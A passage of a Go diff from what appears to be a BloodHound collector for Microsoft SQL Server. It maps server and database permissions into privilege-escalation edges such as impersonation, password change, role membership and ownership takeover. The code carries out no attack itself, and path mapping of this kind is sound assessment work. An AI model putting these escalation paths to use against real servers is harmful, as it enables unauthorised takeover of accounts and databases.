SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: serverInfo.ServerName, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + + case "CONNECT ANY DATABASE": + // CONNECT ANY DATABASE permission allows connecting to any database + edge := c.createEdge( + principal.ObjectIdentifier, + serverInfo.ObjectIdentifier, + bloodhound.EdgeKinds.ConnectAnyDatabase, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: serverInfo.ServerName, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + case "CONTROL": + // CONTROL on a server principal (login/role) + if perm.ClassDesc == "SERVER_PRINCIPAL" && perm.TargetObjectIdentifier != "" { + targetPrincipal := principalMap[perm.TargetPrincipalID] + targetName := perm.TargetName + targetType := bloodhound.NodeKinds.Login + isServerRole := false + isLogin := false + if targetPrincipal != nil { + targetName = targetPrincipal.Name + if targetPrincipal.TypeDescription == "SERVER_ROLE" { + targetType = bloodhound.NodeKinds.ServerRole + isServerRole = true + } else { + // It's a login type (WINDOWS_LOGIN, SQL_LOGIN, etc.) + isLogin = true + } + } + + // First create non-traversable MSSQL_Control edge (matches PowerShell) + edge := c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.Control, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: targetType, + SQLServerName: serverInfo.SQLServerName, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // CONTROL on login = ImpersonateLogin (MSSQL_ExecuteAs), no restrictions (even sa) + if isLogin { + edge := c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.ExecuteAs, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: targetType, + SQLServerName: serverInfo.SQLServerName, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + + // CONTROL implies AddMember and ChangeOwner for server roles + if isServerRole { + // Can only add members to fixed roles if source is member (except sysadmin) + // or to user-defined roles + canAddMember := false + if targetPrincipal != nil && !targetPrincipal.IsFixedRole { + canAddMember = true + } + // Check if source is member of target fixed role (except sysadmin) + if targetPrincipal != nil && targetPrincipal.IsFixedRole && targetName != "sysadmin" { + for _, membership := range principal.MemberOf { + if membership.Name == targetName { + canAddMember = true + break + } + } + } + + if canAddMember { + edge := c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.AddMember, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: targetType, + SQLServerName: serverInfo.SQLServerName, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + + edge := c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.ChangeOwner, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: targetType, + SQLServerName: serverInfo.SQLServerName, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + + case "ALTER": + // ALTER on a server principal (login/role) + if perm.ClassDesc == "SERVER_PRINCIPAL" && perm.TargetObjectIdentifier != "" { + targetPrincipal := principalMap[perm.TargetPrincipalID] + targetName := perm.TargetName + targetType := bloodhound.NodeKinds.Login + isServerRole := false + if targetPrincipal != nil { + targetName = targetPrincipal.Name + if targetPrincipal.TypeDescription == "SERVER_ROLE" { + targetType = bloodhound.NodeKinds.ServerRole + isServerRole = true + } + } + + // Always create the MSSQL_Alter edge (matches PowerShell) + edge := c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.Alter, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: targetType, + SQLServerName: serverInfo.SQLServerName, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // For server roles, also create AddMember edge if conditions are met + if isServerRole { + canAddMember := false + // User-defined roles: anyone with ALTER can add members + if targetPrincipal != nil && !targetPrincipal.IsFixedRole { + canAddMember = true + } + // Fixed roles (except sysadmin): can add members if source is member of the role + if targetPrincipal != nil && targetPrincipal.IsFixedRole && targetName != "sysadmin" { + for _, membership := range principal.MemberOf { + if membership.Name == targetName { + canAddMember = true + break + } + } + } + if canAddMember { + addMemberEdge := c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.AddMember, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: targetType, + SQLServerName: serverInfo.SQLServerName, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(addMemberEdge); err != nil { + return err + } + } + } + } + + case "TAKE OWNERSHIP": + // TAKE OWNERSHIP on a server principal + if perm.ClassDesc == "SERVER_PRINCIPAL" && perm.TargetObjectIdentifier != "" { + targetPrincipal := principalMap[perm.TargetPrincipalID] + targetName := perm.TargetName + targetType := bloodhound.NodeKinds.Login + if targetPrincipal != nil { + targetName = targetPrincipal.Name + if targetPrincipal.TypeDescription == "SERVER_ROLE" { + targetType = bloodhound.NodeKinds.ServerRole + } + } + + edge := c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.TakeOwnership, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: targetType, + SQLServerName: serverInfo.SQLServerName, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // TAKE OWNERSHIP on SERVER_ROLE also grants ChangeOwner (matches PowerShell) + if targetPrincipal != nil && targetPrincipal.TypeDescription == "SERVER_ROLE" { + changeOwnerEdge := c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.ChangeOwner, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: bloodhound.NodeKinds.ServerRole, + SQLServerName: serverInfo.SQLServerName, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(changeOwnerEdge); err != nil { + return err + } + } + } + + case "IMPERSONATE": + if perm.ClassDesc == "SERVER_PRINCIPAL" && perm.TargetObjectIdentifier != "" { + targetPrincipal := principalMap[perm.TargetPrincipalID] + targetName := perm.TargetName + if targetPrincipal != nil { + targetName = targetPrincipal.Name + } + + // MSSQL_Impersonate edge (matches PowerShell which uses MSSQL_Impersonate at server level) + edge := c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.Impersonate, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: bloodhound.NodeKinds.Login, + SQLServerName: serverInfo.SQLServerName, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // Also create ExecuteAs edge (PowerShell creates both) + edge = c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.ExecuteAs, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: bloodhound.NodeKinds.Login, + SQLServerName: serverInfo.SQLServerName, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + + case "IMPERSONATE ANY LOGIN": + edge := c.createEdge( + principal.ObjectIdentifier, + serverInfo.ObjectIdentifier, + bloodhound.EdgeKinds.ImpersonateAnyLogin, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: serverInfo.ServerName, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + case "ALTER ANY LOGIN": + edge := c.createEdge( + principal.ObjectIdentifier, + serverInfo.ObjectIdentifier, + bloodhound.EdgeKinds.AlterAnyLogin, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: serverInfo.ServerName, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // ALTER ANY LOGIN also creates ChangePassword edges to SQL logins + // PowerShell logic: target must be SQL_LOGIN, not sa, not sysadmin/CONTROL SERVER + for _, targetPrincipal := range serverInfo.ServerPrincipals { + if targetPrincipal.TypeDescription != "SQL_LOGIN" { + continue + } + if targetPrincipal.Name == "sa" { + continue + } + if targetPrincipal.ObjectIdentifier == principal.ObjectIdentifier { + continue + } + + // Check if target has sysadmin or CONTROL SERVER (including nested) + targetHasSysadmin := c.hasNestedRoleMembership(targetPrincipal, "sysadmin", serverInfo) + targetHasControlServer := c.hasEffectivePermission(targetPrincipal, "CONTROL SERVER", serverInfo) + + if targetHasSysadmin || targetHasControlServer { + continue + } + + // Check CVE-2025-49758 patch status to determine if edge should be created + if !c.shouldCreateChangePasswordEdge(serverInfo, targetPrincipal) { + continue + } + + // Create ChangePassword edge + edge := c.createEdge( + principal.ObjectIdentifier, + targetPrincipal.ObjectIdentifier, + bloodhound.EdgeKinds.ChangePassword, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: targetPrincipal.Name, + TargetType: bloodhound.NodeKinds.Login, + SQLServerName: serverInfo.SQLServerName, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + + case "ALTER ANY SERVER ROLE": + edge := c.createEdge( + principal.ObjectIdentifier, + serverInfo.ObjectIdentifier, + bloodhound.EdgeKinds.AlterAnyServerRole, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: serverInfo.ServerName, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // Also create AddMember edges to each applicable server role + // Matches PowerShell: user-defined roles always, fixed roles only if source is direct member (except sysadmin) + for _, targetRole := range serverInfo.ServerPrincipals { + if targetRole.TypeDescription != "SERVER_ROLE" { + continue + } + + canAlterRole := false + if !targetRole.IsFixedRole { + // User-defined role: anyone with ALTER ANY SERVER ROLE can alter it + canAlterRole = true + } else if targetRole.Name != "sysadmin" { + // Fixed role (except sysadmin): can only add members if source is a direct member + for _, membership := range principal.MemberOf { + if membership.Name == targetRole.Name { + canAlterRole = true + break + } + } + } + + if canAlterRole { + addMemberEdge := c.createEdge( + principal.ObjectIdentifier, + targetRole.ObjectIdentifier, + bloodhound.EdgeKinds.AddMember, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: targetRole.Name, + TargetType: bloodhound.NodeKinds.ServerRole, + SQLServerName: serverInfo.SQLServerName, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(addMemberEdge); err != nil { + return err + } + } + } + } + } + } + + return nil +} + +// createDatabasePermissionEdges creates edges based on database-level permissions +func (c *Collector) createDatabasePermissionEdges(writer *bloodhound.StreamingWriter, db *types.Database, serverInfo *types.ServerInfo) error { + principalMap := make(map[int]*types.DatabasePrincipal) + for i := range db.DatabasePrincipals { + principalMap[db.DatabasePrincipals[i].PrincipalID] = &db.DatabasePrincipals[i] + } + + for _, principal := range db.DatabasePrincipals { + for _, perm := range principal.Permissions { + if perm.State != "GRANT" && perm.State != "GRANT_WITH_GRANT_OPTION" { + continue + } + + switch perm.Permission { + case "CONTROL": + if perm.ClassDesc == "DATABASE" { + // Create MSSQL_Control (non-traversable) edge + edge := c.createEdge( + principal.ObjectIdentifier, + db.ObjectIdentifier, + bloodhound.EdgeKinds.Control, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: db.Name, + TargetType: bloodhound.NodeKinds.Database, + SQLServerName: serverInfo.SQLServerName, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // Create MSSQL_ControlDB (traversable) edge + edge = c.createEdge( + principal.ObjectIdentifier, + db.ObjectIdentifier, + bloodhound.EdgeKinds.ControlDB, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: db.Name, + TargetType: bloodhound.NodeKinds.Database, + SQLServerName: serverInfo.SQLServerName, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } else if perm.ClassDesc == "DATABASE_PRINCIPAL" && perm.TargetObjectIdentifier != "" { + // CONTROL on a database principal (user/role) + targetPrincipal := principalMap[perm.TargetPrincipalID] + targetName := perm.TargetName + targetType := bloodhound.NodeKinds.DatabaseUser + isRole := false + isUser := false + if targetPrincipal != nil { + targetName = targetPrincipal.Name + targetType = c.getDatabasePrincipalType(targetPrincipal.TypeDescription) + isRole = targetPrincipal.TypeDescription == "DATABASE_ROLE" + isUser = targetPrincipal.TypeDescription == "WINDOWS_USER" || + targetPrincipal.TypeDescription == "WINDOWS_GROUP" || + targetPrincipal.TypeDescription == "SQL_USER" || + targetPrincipal.TypeDescription == "ASYMMETRIC_KEY_MAPPED_USER" || + targetPrincipal.TypeDescription == "CERTIFICATE_MAPPED_USER" + } + + // First create the non-traversable MSSQL_Control edge + edge := c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.Control, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: targetType, + SQLServerName: serverInfo.SQLServerName, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // Use specific edge type based on target + if isRole { + // CONTROL on role = Add members + Change owner + edge = c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.AddMember, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: targetType, + SQLServerName: serverInfo.SQLServerName, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + edge = c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.ChangeOwner, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: targetType, + SQLServerName: serverInfo.SQLServerName, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } else if isUser { + // CONTROL on user = Impersonate (MSSQL_ExecuteAs) + edge = c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.ExecuteAs, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: targetType, + SQLServerName: serverInfo.SQLServerName, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + break + + case "CONNECT": + if perm.ClassDesc == "DATABASE" { + // Create MSSQL_Connect edge from user/role to database + edge := c.createEdge( + principal.ObjectIdentifier, + db.ObjectIdentifier, + bloodhound.EdgeKinds.Connect, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: db.Name, + TargetType: bloodhound.NodeKinds.Database, + SQLServerName: serverInfo.SQLServerName, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + break + case "ALTER": + if perm.ClassDesc == "DATABASE" { + // ALTER on the database itself - use MSSQL_Alter to match PowerShell + edge := c.createEdge( + principal.ObjectIdentifier, + db.ObjectIdentifier, + bloodhound.EdgeKinds.Alter, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: db.Name, + TargetType: bloodhound.NodeKinds.Database, + SQLServerName: serverInfo.SQLServerName, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // ALTER on database grants effective ALTER ANY APPLICATION ROLE and ALTER ANY ROLE + // Create AddMember edges to roles and ChangePassword edges to application roles + for _, targetPrincipal := range db.DatabasePrincipals { + if targetPrincipal.ObjectIdentifier == principal.ObjectIdentifier { + continue // Skip self + } + + // Check if source principal is db_owner + isDbOwner := false + for _, role := range principal.MemberOf { + if role.Name == "db_owner" { + isDbOwner = true + break + } + } + + switch targetPrincipal.TypeDescription { + case "DATABASE_ROLE": + // db_owner can alter any role, others can only alter user-defined roles + if targetPrincipal.Name != "public" && + (isDbOwner || !targetPrincipal.IsFixedRole) { + edge := c.createEdge( + principal.ObjectIdentifier, + targetPrincipal.ObjectIdentifier, + bloodhound.EdgeKinds.AddMember, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: targetPrincipal.Name, + TargetType: bloodhound.NodeKinds.DatabaseRole, + SQLServerName: serverInfo.SQLServerName, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + case "APPLICATION_ROLE": + // ALTER on database allows changing application role passwords + edge := c.createEdge( + principal.ObjectIdentifier, + targetPrincipal.ObjectIdentifier, + bloodhound.EdgeKinds.ChangePassword, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: targetPrincipal.Name, + TargetType: bloodhound.NodeKinds.ApplicationRole, + SQLServerName: serverInfo.SQLServerName, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + } else if perm.ClassDesc == "DATABASE_PRINCIPAL" && perm.TargetObjectIdentifier != "" { + // ALTER on a database principal - always use MSSQL_Alter to match PowerShell + targetPrincipal := principalMap[perm.TargetPrincipalID] + targetName := perm.TargetName + targetType := bloodhound.NodeKinds.DatabaseUser + isRole := false + if targetPrincipal != nil { + targetName = targetPrincipal.Name + targetType = c.getDatabasePrincipalType(targetPrincipal.TypeDescription) + isRole = targetPrincipal.TypeDescription == "DATABASE_ROLE" + } + + // Always create MSSQL_Alter edge (matches PowerShell) + edge := c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.Alter, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: targetType, + SQLServerName: serverInfo.SQLServerName, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // For database roles, also create AddMember edge (matches PowerShell) + if isRole { + addMemberEdge := c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.AddMember, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: targetType, + SQLServerName: serverInfo.SQLServerName, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(addMemberEdge); err != nil { + return err + } + } + } + break + case "ALTER ANY ROLE": + edge := c.createEdge( + principal.ObjectIdentifier, + db.ObjectIdentifier, + bloodhound.EdgeKinds.AlterAnyDBRole, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: db.Name, + TargetType: bloodhound.NodeKinds.Database, + SQLServerName: serverInfo.SQLServerName, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // Also create AddMember edges to each eligible database role + // Matches PowerShell: user-defined roles always, fixed roles only if source is db_owner (except public) + for _, targetRole := range db.DatabasePrincipals { + if targetRole.TypeDescription != "DATABASE_ROLE" { + continue + } + if targetRole.ObjectIdentifier == principal.ObjectIdentifier { + continue // Skip self + } + if targetRole.Name == "public" { + continue // public role membership cannot be changed + } + + // Check if source principal is db_owner (member of db_owner role) + isDbOwner := false + for _, role := range principal.MemberOf { + if role.Name == "db_owner" { + isDbOwner = true + break + } + } + + // db_owner can alter any role, others can only alter user-defined roles + if isDbOwner || !targetRole.IsFixedRole { + addMemberEdge := c.createEdge( + principal.ObjectIdentifier, + targetRole.ObjectIdentifier, + bloodhound.EdgeKinds.AddMember, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: targetRole.Name, + TargetType: bloodhound.NodeKinds.DatabaseRole, + SQLServerName: serverInfo.SQLServerName, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(addMemberEdge); err != nil { + return err + } + } + } + break + case "ALTER ANY APPLICATION ROLE": + // Create edge to the database since this permission affects ANY application role + edge := c.createEdge( + principal.ObjectIdentifier, + db.ObjectIdentifier, + bloodhound.EdgeKinds.AlterAnyAppRole, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: db.Name, + TargetType: bloodhound.NodeKinds.Database, + SQLServerName: serverInfo.SQLServerName, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // Create ChangePassword edges to each individual application role + for _, appRole := range db.DatabasePrincipals { + if appRole.TypeDescription == "APPLICATION_ROLE" && + appRole.ObjectIdentifier != principal.ObjectIdentifier { + edge := c.createEdge( + principal.ObjectIdentifier, + appRole.ObjectIdentifier, + bloodhound.EdgeKinds.ChangePassword, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: appRole.Name, + TargetType: bloodhound.NodeKinds.ApplicationRole, + SQLServerName: serverInfo.SQLServerName, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + break + + case "IMPERSONATE": + // IMPERSONATE on a database user + if perm.ClassDesc == "DATABASE_PRINCIPAL" && perm.TargetObjectIdentifier != "" { + targetPrincipal := principalMap[perm.TargetPrincipalID] + targetName := perm.TargetName + if targetPrincipal != nil { + targetName = targetPrincipal.Name + } + + // PowerShell creates both MSSQL_Impersonate and MSSQL_ExecuteAs for database user impersonation + edge := c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.Impersonate, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: bloodhound.NodeKinds.DatabaseUser, + SQLServerName: serverInfo.SQLServerName, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // Also create ExecuteAs edge (PowerShell creates both) + edge = c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.ExecuteAs, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: bloodhound.NodeKinds.DatabaseUser, + SQLServerName: serverInfo.SQLServerName, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + break + + case "TAKE OWNERSHIP": + // TAKE OWNERSHIP on the database + if perm.ClassDesc == "DATABASE" { + // Create TakeOwnership edge to the database (non-traversable) + edge := c.createEdge( + principal.ObjectIdentifier, + db.ObjectIdentifier, + bloodhound.EdgeKinds.TakeOwnership, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: db.Name, + TargetType: bloodhound.NodeKinds.Database, + SQLServerName: serverInfo.SQLServerName, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // TAKE OWNERSHIP on database also grants ChangeOwner to all database roles + for _, targetRole := range db.DatabasePrincipals { + if targetRole.TypeDescription == "DATABASE_ROLE" { + changeOwnerEdge := c.createEdge( + principal.ObjectIdentifier, + targetRole.ObjectIdentifier, + bloodhound.EdgeKinds.ChangeOwner, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: targetRole.Name, + TargetType: bloodhound.NodeKinds.DatabaseRole, + SQLServerName: serverInfo.SQLServerName, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(changeOwnerEdge); err != nil { + return err + } + } + } + } else if perm.TargetObjectIdentifier != "" { + // TAKE OWNERSHIP on a specific object + // Find the target principal + var targetPrincipal *types.DatabasePrincipal + for idx := range db.DatabasePrincipals { + if db.DatabasePrincipals[idx].ObjectIdentifier == perm.TargetObjectIdentifier { + targetPrincipal = &db.DatabasePrincipals[idx] + break + } + } + + if targetPrincipal != nil { + // Create TakeOwnership edge (non-traversable) + edge := c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.TakeOwnership, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: targetPrincipal.Name, + TargetType: c.getDatabasePrincipalType(targetPrincipal.TypeDescription), + SQLServerName: serverInfo.SQLServerName, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // If target is a DATABASE_ROLE, also create ChangeOwner edge + if targetPrincipal.TypeDescription == "DATABASE_ROLE" { + changeOwnerEdge := c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.ChangeOwner, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: targetPrincipal.Name, + TargetType: bloodhound.NodeKinds.DatabaseRole, + SQLServerName: serverInfo.SQLServerName, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(changeOwnerEdge); err != nil { + return err + } + } + } + } + break + } + } + } + + return nil +} + +// createEdge creates a BloodHound edge with properties. +// Returns nil if the edge is non-traversable and IncludeNontraversableEdges is false, +// matching PowerShell's Add-Edge behavior which drops non-traversable edges entirely. +func (c *Collector) createEdge(sourceID, targetID, kind string, ctx *bloodhound.EdgeContext) *bloodhound.Edge { + props := bloodhound.GetEdgeProperties(kind, ctx) + + // Apply MakeInterestingEdgesTraversable overrides before filtering + if c.config.MakeInterestingEdgesTraversable { + switch kind { + case bloodhound.EdgeKinds.LinkedTo, + bloodhound.EdgeKinds.IsTrustedBy, + bloodhound.EdgeKinds.ServiceAccountFor, + bloodhound.EdgeKinds.HasDBScopedCred, + bloodhound.EdgeKinds.HasMappedCred, + bloodhound.EdgeKinds.HasProxyCred: + props["traversable"] = true + } + } + + // Drop non-traversable edges when IncludeNontraversableEdges is false + // This matches PowerShell's Add-Edge behavior which returns early (drops the edge) + // when the edge is non-traversable and IncludeNontraversableEdges is disabled + if !c.config.IncludeNontraversableEdges { + if traversable, ok := props["traversable"].(bool); ok && !traversable { + return nil + } + } + + return &bloodhound.Edge{ + Start: bloodhound.EdgeEndpoint{Value: sourceID}, + End: bloodhound.EdgeEndpoint{Value: targetID}, + Kind: kind, + Properties: props, + } +} + +// getServerPrincipalType returns the BloodHound node type for a server principal +func (c *Collector) getServerPrincipalType(typeDesc string) string { + switch typeDesc { + case "SERVER_ROLE": + return bloodhound.NodeKinds.ServerRole + default: + return bloodhound.NodeKinds.Login + } +} + +// getDatabasePrincipalType returns the BloodHound node type for a database principal +func (c *Collector) getDatabasePrincipalType(typeDesc string) string { + switch typeDesc { + case "DATABASE_ROLE": + return bloodhound.NodeKinds.DatabaseRole + case "APPLICATION_ROLE": + return bloodhound.NodeKinds.ApplicationRole + default: + return bloodhound.NodeKinds.DatabaseUser + } +} + +// createZipFile creates the final zip file from all output files +func (c *Collector) createZipFile() (string, error) { + timestamp := time.Now().Format("20060102-150405") + zipDir := c.config.ZipDir + if zipDir == "" { + zipDir = "." + } + + zipPath := filepath.Join(zipDir, fmt.Sprintf("mssql-bloodhound-%s.zip", timestamp)) + + zipFile, err := 